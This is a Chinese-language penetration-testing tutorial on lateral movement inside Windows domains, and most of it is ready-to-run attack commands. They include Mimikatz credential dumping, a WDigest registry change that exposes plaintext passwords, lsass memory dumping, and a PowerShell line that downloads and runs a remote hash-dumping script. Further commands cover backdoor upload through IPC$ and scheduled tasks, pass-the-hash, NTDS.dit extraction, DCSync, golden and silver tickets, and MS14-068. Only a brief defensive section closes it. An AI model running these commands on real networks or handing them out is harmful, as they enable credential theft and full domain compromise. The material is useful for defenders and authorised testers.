内网渗透技巧之横向控制
字数 1526 2025-08-20 18:16:55
内网渗透技巧之横向控制教学文档
一、Windows域基础
1.1 域的概念与优势
- 域定义:将网络中多台计算机逻辑组织到一起进行集中管理的逻辑环境
- 组成:域控制器(Domain Controller)和成员计算机
- 活动目录(AD):安装在域控制器上,存储网络对象信息并提供访问方法
域的优势:
- 集中管理:可管理分布各地的计算机和用户
- 便捷资源访问:容易定位域中资源
- 单点登录:一次登录访问整个网络资源
- 可扩展性:适用于小型到跨国公司网络
1.2 域渗透常用命令
查询域控制器主机名:net group "domain controllers" /domain
查询域管理用户:net group "domain admins" /domain
查看所有域用户:net user /domain
查看域内所有计算机:net group "domain computers" /domain
查看域密码策略:net accounts /domain
二、Windows认证协议
2.1 NTLM认证协议
-
认证机制:基于挑战/响应
-
认证流程:
- 客户端发送用户名到服务器
- 服务器生成随机挑战(Challenge)发送给客户端
- 客户端用用户密码哈希加密挑战并返回响应(Response)
- 服务器验证响应
-
NTLM Hash存储:Windows本地存储在SAM文件中
administrator:500:6f08d7b306b1dad4ff17365faf1ffe89:032f3db689bf1ee44c04d08c785710de:::
2.2 Kerberos认证协议
- 三方参与:客户端、服务端和KDC(Key Distribution Center)
- 认证流程:
- 客户端向AS(Authentication Service)认证身份
- AS返回TGT(Ticket Granting Ticket)和SessionKey
- 客户端使用TGT向TGS(Ticket Granting Service)请求服务票据
- TGS返回服务票据和SessionKey
- 客户端使用服务票据访问服务
三、横向移动技术
3.1 凭证窃取技术
3.1.1 Mimikatz
- 功能:从lsass.exe进程获取活动账号明文密码
- 使用:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" - Win10/2012R2+明文密码获取:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
3.1.2 Procdump+Mimikatz
- 转储lsass.exe内存:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp - 使用Mimikatz分析:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
3.1.3 其他工具
- Getpass:直接获取明文密码
- Powershell脚本:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
3.2 横向移动方法
3.2.1 IPC$+计划任务
- 建立IPC$连接:
net use \\192.168.1.1\IPC$ /user:"administrator" "password" - 上传后门:
copy test.bat \\192.168.1.1\c$ - 创建计划任务:
schtasks /create /s 192.168.1.1 /u Administrator /p password /ru "SYSTEM" /tn test /sc DAILY /st 22:18 /tr C:\windows\temp\test.bat /F schtasks /run /s 192.168.1.1 /u administrator /p password /tn test /i
3.2.2 PsExec(445端口)
- 使用:
psexec \\192.168.1.1 -u Domain\User -p Password Command
3.2.3 WMI(135端口)
- 查询进程:
wmic /node:192.168.1.1 /user:Administrator /password:password process list brief - 创建进程:
wmic /node:192.168.1.1 /user:Administrator /password:password process call create "calc.exe"
3.2.4 WinRM(5985/5986端口)
- 执行命令:
winrs -r:http://192.168.1.1:5985 -u:Administrator -p:password "whoami /all"
3.2.5 SmbExec(445端口)
- 使用:
smbexec.py administrator:password@192.168.1.1
3.3 Pass The Hash(PTH)攻击
- Mimikatz实现:
sekurlsa::pth /domain:. /user:Administrator /ntlm:70be8675cd511daa9be4b8f49e829327
3.4 导出域成员Hash
3.4.1 使用ntdsutil导出NTDS.DIT
- 创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit - 加载快照:
ntdsutil snapshot "mount {GUID}" quit quit - 复制文件:
copy C:\$SNAP_...$\windows\NTDS\ntds.dit c:\ntds.dit - 使用impacket解析:
python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL
3.4.2 Mimikatz导出域Hash
- 直接导出:
mimikatz log "privilege::debug" "lsadump::lsa /patch" exit - DCSync技术:
lsadump::dcsync /domain:test.com /all /csv
3.5 票据攻击
3.5.1 黄金票据(Golden Ticket)
- 获取krbtgt的Hash:
lsadump::dcsync /domain:xx.com /user:krbtgt - 生成黄金票据:
kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-... /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi - 导入票据:
kerberos::ptt test.kiribi
3.5.2 白银票据(Silver Ticket)
- 导出服务账号Hash:
mimikatz log "privilege::debug" "sekurlsa::logonpasswords" - 生成白银票据:
kerberos::golden /domain:ABC.COM /sid:S-1-5-21-... /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt
3.6 MS14-068域提权
- 生成TGT:
MS14-068.exe -u user@test.com -s SID -d 192.168.1.1 -p password - 导入票据:
mimikatz.exe "kerberos::ptc TGT_user@test.com.ccache" exit
四、防御建议
- 限制特权账户:减少域管理员账户数量和使用频率
- 启用LSA保护:防止从lsass.exe提取凭据
- 禁用NTLM:尽可能使用Kerberos认证
- 监控异常活动:如异常的票据请求、大量的认证尝试等
- 及时打补丁:修复如MS14-068等已知漏洞
- 限制远程管理工具:严格控制PsExec、WMI等工具的使用
- 启用Credential Guard:保护凭据不被窃取
五、总结
内网横向移动是攻击者获取域控权限的关键阶段,涉及多种技术和工具。防御方应了解这些技术原理,采取分层防御措施,监控异常活动,才能有效保护内网安全。